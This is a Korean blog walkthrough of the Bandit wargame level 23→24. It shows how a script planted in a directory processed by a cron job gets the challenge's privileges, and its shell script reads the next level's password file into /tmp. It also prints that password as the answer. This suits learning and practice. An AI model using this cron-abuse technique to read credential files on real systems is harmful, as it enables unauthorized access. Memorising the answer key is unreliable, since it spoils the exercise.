Level Goal
어떤 프로그램은 cron으로부터 일정한 간격에서 주기적으로 작동하고 있습니다. cron은 시간 기반의 작업 스케줄러입니다.
'/etc/cron.d/'에서 구성에 대해 찾아보고 어떤 명령어가 실행되고 있는지 확인해보세요.
Note : 이 레벨은 당신의 첫번째 쉘 스크립트를 만드는 것을 필요로 합니다. 이것은 도전적이며 당신이 이 레벨을 통과했을 때 스스로를 자랑스러워해도 된다.
Note 2 : 당신의 쉘 스크립트는 한 번 실행되면 제거된다는 걸 명심해라, 그래서 당신이 주변 어딘가에 백업 해두는 것을 권고한다.
Commands you may need to solve this level
cron, crontab, crontab(5)(use "man 5 crontab" to access this)
Answer
$ cd /etc/cron.d
$ ls -al
$ cat cronjob_bandit24
$ cat /usr/bin/cronjob_bandit24.sh
// echo 명령으로 /var/spool/계정에 모든 스크립트를 실행하고 지우라고 하고 있다.
$ cd /var/spool/bandit24
$ mkdir /tmp/mydir11
$ vi /tmp/mydir11/t123.sh
// vi 명령어를 이용하여 다음 경로에 t123.sh 파일을 만들어 아래 내용을 작성한 후 :wq!로 저장하고 나온다
#! /bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/mydir11/rst.txt
(백업작업)
$ chmod o+w /tmp/mydir11 // 다른 사용자도 작성이 가능하도록 권한 변경을 해준다.
$ ls -al /tmp/mydir11
$ cp /tmp/mydir11/t123.sh . // t123.sh파일을 현재 폴더에 복사하여 저장한다.
$ ls /tmp/mydir11 // mydir11폴더에서 rst.txt 파일을 본다.
$ cat /tmp/mydir11/rst.txt // 내용을 확인하여 패스워드 확인.
bandit24 password : UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
'Wargame > Bandit' 카테고리의 다른 글
Bandit Level 25 → Level 26 (0) | 2022.03.20 |
---|---|
Bandit Level 24 → Level 25 (0) | 2022.03.16 |
Bandit Level 22 → Level 23 (0) | 2022.03.16 |
Bandit Level 21 → Level 22 (0) | 2022.03.15 |
Bandit Level 20 → Level 21 (0) | 2022.03.14 |
로딩중.....(버퍼링)
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!